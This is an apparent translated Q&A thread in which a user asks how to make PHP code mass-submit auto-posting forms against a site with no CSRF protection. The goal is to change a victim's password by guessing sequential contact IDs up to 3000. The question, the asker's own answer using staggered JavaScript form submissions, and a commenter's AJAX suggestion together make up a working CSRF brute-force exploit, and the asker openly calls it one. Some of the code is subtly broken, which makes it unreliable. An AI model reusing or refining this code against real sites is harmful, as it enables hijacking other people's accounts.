2016-09-13 2 views
0

Для того, чтобы объяснить, что я пытаюсь сделать, вот некоторые факты:Отправка несколько форм на внешний веб-сервер через сообщение

  • www.testsite.com не CSRF защищен и можно злоумышленник измените пароль жертвы, если он знает адрес электронной почты жертвы и его уникальный контакт.
  • Каждый новый пользователь получает новый идентификатор, просто увеличивая число с 1. На данный момент есть только 3000 contactID; так что означает 1,2,3,4,5,6 -> 3000.
  • Если злоумышленники знают электронное письмо жертвы, он может просто продолжать гадать contactID (максимально 3000), а затем он может изменить Это. Я хочу сделать это автоматически.

- Я пытаюсь создать PHP-скрипт, чтобы узнать больше о коде и показать, насколько это просто. Я не злой хакер или что-то близко.

Поэтому я решил, что могу просто использовать цикл, который автоматически увеличивает контактные идентификаторы, а затем отправляет данные на сайт www.testsite.com. Проблема заключается в том, что не отправляет все запросы POST (с ContactId = 1 и еще один с ContactId = 2 и т.д.) ... Вот мой код:

<?php 

echo "I set the password to 'stackoverflow'. <br/>"; 

$mailadres = 1; //startvalue to remove that undefined index php error. 

if (isset($_GET['mailadres'])){ //i hate undefined errors 
    $mailadres = $_GET['mailadres']; 
} 

if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET 
echo "usage: ./[email protected] <br/>"; 
} 


$contactid = 1; //We begin with one.... 


while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment. 

    echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'> 
       <input type='hidden' name='contactid' value='{$contactid}'> 
       <input type='hidden' name='something' value='something'> 
       <input type='hidden' name='mailadres'' value='{$mailadres}'> 
       <input type='hidden' name='changepassword' value='stackoverflow'> 
      </form> 
      <script>document.csrf.submit();</script>"; 
    $contactid ++; //increment in order to post every contactID. 

} 


?> 

Мой вопрос: Как сделать PHP отправьте все эти формы (contactid = 1 & contactid = 2)

+0

'document.csrf', очевидно, берет первый элемент с таким именем –

+0

Я понимаю, идея - это цикл. Если бы я тоже менял имя, это все равно не сработало бы (да, я пробовал). Спасибо за ваш ответ, оцените любую помощь! – Yahboysurge

+0

Привет, попробуйте использовать ajax post – praveenkrishp

ответ

0

Возможно, для любых будущих людей, как испытать ту же проблему. Наконец, я исправил это. Не понимал ничего, что люди говорили здесь, но интернет большой. Я хотел представить + 3000 форм, так что да, это так. Было так.

<?php 
$id = 1; //start with one ('till 2060) 
while ($id <= 2060) { 
echo 
" 
<form target='reset' action='http://www.testsite.com/submit.php' id='$id' method='POST'> 
       <input type='hidden' name='contactid' value='{$contactid}'> 
       <input type='hidden' name='something' value='something'> 
       <input type='hidden' name='mailadres'' value='{$mailadres}'> 
       <input type='hidden' name='changepassword' value='stackoverflow'> 
</form> 
"; 
$id ++; 

} 


?> 

И тогда я позволяю Javascript представить все:

<script> 
function myFunction() { 
    setTimeout(function(){ document.getElementById('1').submit();}, 1000); 
    setTimeout(function(){ document.getElementById('2').submit();}, 1500); 
    setTimeout(function(){ document.getElementById('3').submit();}, 2000); 
    setTimeout(function(){ document.getElementById('4').submit();}, 2500);  etc.etc.etc.; 
</script> 

бы представить 3000 запросов, так что я написал небольшую программу для автоматического увеличения getElementById и приращение SetTimeout (только времени петля).

Надеюсь, что это работает для yall!

+0

hi @Serge Van Haag время ожидания не является хорошим вариантом. Вы не всегда можете гарантировать, что сообщение завершено в течение заданного промежутка времени. Я сделал пример с сообщением ajax, посмотрите. – praveenkrishp

+0

@praveenkrishp Это верно, но тайм-аут не будет завершен, как 60% запроса, и на данный момент работает тайм-аут. Я очень новичок в ajax, где я могу найти пример. – Yahboysurge

0

Во-первых, вам нужно избавиться от действия, метода и т. Д. В форме. Пусть это будет просто, как показано ниже:

<form id="form1"> 
..... 
</form> 

Тогда вы должны дать, если для элементов, дают такое же имя дано как в «имя». Например видеть, как

<input type='hidden' name='contactid' id='contactid' value='{$contactid}'> 

Тогда есть кнопка с OnClick() и вызвать функцию, как

<button id="button1" onclick="postData()">PostData</button> 

то есть функция, как этот

function postData(d1, d2, d3, d4) { 
$.ajax({ 
    url: 'http://www.testsite.com/submit.php', 
    data: { 
     data1: d1, 
     data2: d2, 
     data3: d3, 
     data4: d4 
    }, 
    type: 'POST', 
    success: function(result) { 
     //code for success 
    }, 
    error: function(jqXHR, textStatus, errorThrown) { 
     //code in case of error 
    } 
}); 
} 

Всякий раз, когда происходит нажатие кнопки , вы автоматически отправляете данные на указанный URL-адрес.

Надеюсь, что это поможет ...

+0

Woah, спасибо! Как мне запрограммировать 3000 запросов? – Yahboysurge

+0

См. @SergeVanHaag, на самом деле что происходит, вы пишете что-то вроде этого. Конечный пользователь заполняет форму и нажимает кнопку (PostData здесь). Каждый раз, когда пользователь нажимает кнопку, данные публикуются. На самом деле нет необходимости беспокоиться о счете. – praveenkrishp

+0

Да, но я пишу эксплойт. Необходимо, чтобы в onclick автоматически выполнялось 3000 почтовых запросов вместо того, чтобы делать все вручную (это занимает несколько дней). – Yahboysurge